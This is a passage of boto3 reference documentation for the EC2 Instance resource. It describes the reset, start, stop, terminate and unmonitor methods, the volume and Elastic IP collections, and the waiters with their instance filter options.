For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute to reset. + + Warning + + You can only reset the following attributes: kernel | ramdisk | sourceDestCheck . To change an instance attribute, use ModifyInstanceAttribute . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_kernel(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_kernel( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_ramdisk(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_ramdisk( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reset_source_dest_check(kwargs_) + +Resets an attribute of an instance to its default value. To reset the kernel or ramdisk , the instance must be in a stopped state. To reset the sourceDestCheck , the instance can be either running or stopped. + +The sourceDestCheck attribute controls whether source/destination checking is enabled. The default value is true , which means checking is enabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetInstanceAttribute) + +**Request Syntax** + +response = instance.reset_source_dest_check( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = instance.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = instance.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = instance.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = instance.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +volumes + +A collection of Volume resources.A Volume Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.all() + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +filter(kwargs_) + +Creates an iterable of all Volume resources in the collection filtered by kwargs passed to method.A Volume collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.filter( + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **VolumeIds** (_list_) -- + + The volume IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +page_size(kwargs_) + +Creates an iterable of all Volume resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +vpc_addresses + +A collection of VpcAddress resources.A VpcAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.all() + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +filter(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection filtered by kwargs passed to method.A VpcAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +page_size(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this Instance is exists. This method calls EC2.Waiter.instance_exists.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 5 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_running(kwargs_) + +Waits until this Instance is running. This method calls EC2.Waiter.instance_running.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_running( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name 